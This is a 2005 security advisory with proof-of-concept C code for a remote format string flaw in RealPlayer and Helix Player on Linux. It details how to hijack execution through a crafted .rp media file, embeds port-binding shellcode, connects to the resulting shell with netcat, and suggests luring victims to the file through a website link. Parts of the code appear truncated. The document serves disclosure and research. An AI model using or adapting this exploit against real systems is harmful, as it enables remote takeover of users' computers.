$ An open security advisory #13 - RealPlayer and Helix Player Remote Format String Exploit


1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com

2: Bug Released: September 26th 2005

3: Bug Impact Rate: Hi

4: Bug Scope Rate: Remote


$ This advisory and/or proof of concept code must not be used for commercial gain.


UNIX RealPlayer && Helix Player



"The Helix Player is the Helix Community's open source media player for consumers. It is being developed

to have a rich and usable graphical interface and support a variety of open media formats like Ogg Vorbis,

Theora etc.

The RealPlayer for Linux is built on top of the Helix Player for Linux and includes support for several

non-open source components including RealAudio/RealVideo, MP3 etc."

There is a remotly exploitable format string vulnerability in the latest Helix Media Player suit that will

allow an attacker the possibility to execute malicious code on a victims computer. The exploit code will

execute a remote shell under the permissions of the user running the media player, and effects all versions

of RealPlayer and Helix Player.

The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) file formats. Although

others may be effected I stick to realpix file format for this advisory.

Almost all media file input is placed on the heap, so it's not possible to just pop our way to a supplied

string like with a normal stack based format bug, as such we can't directly modify GOT, DTORS, etc. leaving

us limited to what we can do.

There are several places where we can control the flow of execution:

popN - call *0x04(eax) - eax is controlled

popN+N - call *0x20(eax) - eax is controlled

popN+NN - call *0x100(edx) - edx is controlled

popN+NNN - ebp - ebp is controlled

popN+NNNN - eip - eip is controlled


however since we are limited to the size of the value that can be written, it doesn't seem possible to

point at a known good location directly. Since our shellcode is always mapped via the .rp file between

0x0822**** - 0x082f**** and with control of one pointer at a time usually, we can not reach the LSB, we

are toast.

In a phrack paper, Riq talks about using sections of the base pointer to create a 4 byte pointer by

chaining EBP like so:

[Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]

And can be manipulated something like so:

-------- -------- --------

Frame 10 Frame 11 Frame 12

-------- -------- --------


[LSBMSB] [LSBMSB]-- [41414141]

2|____________^ 3|__________^

Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it ends with EIP pointing at 0x00000000.

So what else can I do?

How about use the fact the file being played is under my control and only the MSB needs overwritten. This

solves the problem with the size of the valaue I can write. It is possible to modify the MSB of an EBP

that is reachable, eventually leading to EIP pointing at some good location after "mov %ebp,%esp" happens,

resulting in the execution of our shellcode.

1-> Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp

2-> Overwrite EBP MSB with the address of the file location on the stack

3-> EBP is moved to ESP

4-> EIP is changed to ESP value

5-> EIP is owned, shell is spawned

Granted this is not a stable method as the user can freely manipulate their environment, and we use the

file name, which is stored in an environment variable to trampoline us to the shellcode. However my goal

here is not to create a worm but a proof-of-concept :p

The supplied POC should work flawlessly on Debian 3.1, with RealPlayer installed in /usr/local/RealPlayer

and run as shown below.

Sample local run:

Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

Window 1:


c0ntex@debauch:~$ netstat -an --ip

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0* LISTEN

tcp 0 0* LISTEN


udp 0 0*

c0ntex@debauch:~$ ./helix4real

Remote format string exploit POC for UNIX RealPlayer && HelixPlayer

Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version

by c0ntex || c0ntexb@gmail.com || http://www.open-security.org

[-] Creating file [VY~Т.rp]

[-] Using [148] stack pops

[-] Modifying EBP MSB with value [64105]

[-] Completed creation of test file!

[-] Executing RealPlayer now...

[-] Connecting to shell in 10 seconds


(realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

(realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

ps -ef | tail -12;


c0ntex 1631 1624 0 01:10 pts/2 00:00:00 /bin/sh /usr/bin/realplay ./VYF&(?.rp

c0ntex 1636 1631 4 01:10 pts/2 00:00:02 /bin//sh

c0ntex 1637 1636 0 01:10 pts/2 00:00:00 ? Іъяїf ? ?\ ? ? .rp

c0ntex 1638 1637 0 01:10 pts/2 00:00:00 ? Іъяїf ? ?\ ? ? .rp

c0ntex 1639 1636 0 01:10 pts/2 00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp

c0ntex 1640 1636 0 01:10 pts/2 00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp

c0ntex 1641 1637 0 01:10 pts/2 00:00:00 ? Іъяїf ? ?\ ? ? .rp

c0ntex 1642 1637 0 01:10 pts/2 00:00:00 ? Іъяїf ? ?\ ? ? .rp

c0ntex 1643 1637 0 01:10 pts/2 00:00:00 ? Іъяїf ? ?\ ? ? .rp


To exploit this remotly, a user just needs to place the created file on a web site and provide a link so

users can click the file, launching RealPlayer and exploiting the vulnerability.

Real have been duely informed about this issue and are fixing. Sadly though, it seems someone is trying to

pinch my research, as such I have been forced to release this advisory sooner than hoped. Until Real get

a new release out, do not play untrusted media with RealPlayer or HelixPlayer. Sorry Real.com!

Moral of the story, don't talk about personal research on IRC. Thank you plagiarizers.

PS: A new RSS feed for the latest 5 Open Security Group Advisories, @ http://www.open-security.org/adv.xml

is now available.






#define BUFFER 10000

#define EBPMSB 64105

#define HOST "localhost"

#define NETCAT "/bin/nc"

#define NOPS 0x90

#define STACKPOP 148

#define VULN "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */

char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"











filegen(char *shellcode)


FILE *rp;

printf("[-] Creating file [%s]\n", filename);

rp = fopen(filename, "w");

if(!rp) {

puts("[!] Could not fopen file!");




printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value [%d]\n", STACKPOP, EBPMSB);



" "duration=\"1:33.7\"\n"










"", EBPMSB, STACKPOP, shellcode);


free(shellcode); shellcode = NULL;




main(int argc, char **argv)


char *shellcode = NULL;

puts("\nRemote format string exploit POC for UNIX RealPlayer && HelixPlayer");

puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version");

puts("by c0ntex || c0ntexb@gmail.com || http://www.open-security.org\n");

shellcode = (char *)malloc(BUFFER);

if(!shellcode) {

puts("[!] Could not malloc");



memset(shellcode, NOPS, BUFFER);

memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode, strlen(hellcode));

shellcode[BUFFER] = '\0';


puts("[-] Completed creation of test file!\n[-] Executing RealPlayer now...");

switch(fork()) {

case -1:

puts("[!] Could not fork off, bailing!");


case 0:

if(execl(VULN, "realplay", filename, NULL) <0) {

puts("[!] Could not execute realplayer... :(");




puts("[-] Connecting to shell in 10 seconds\n** YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW **");


if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {

puts("[!] Could not connect, check the core file!");





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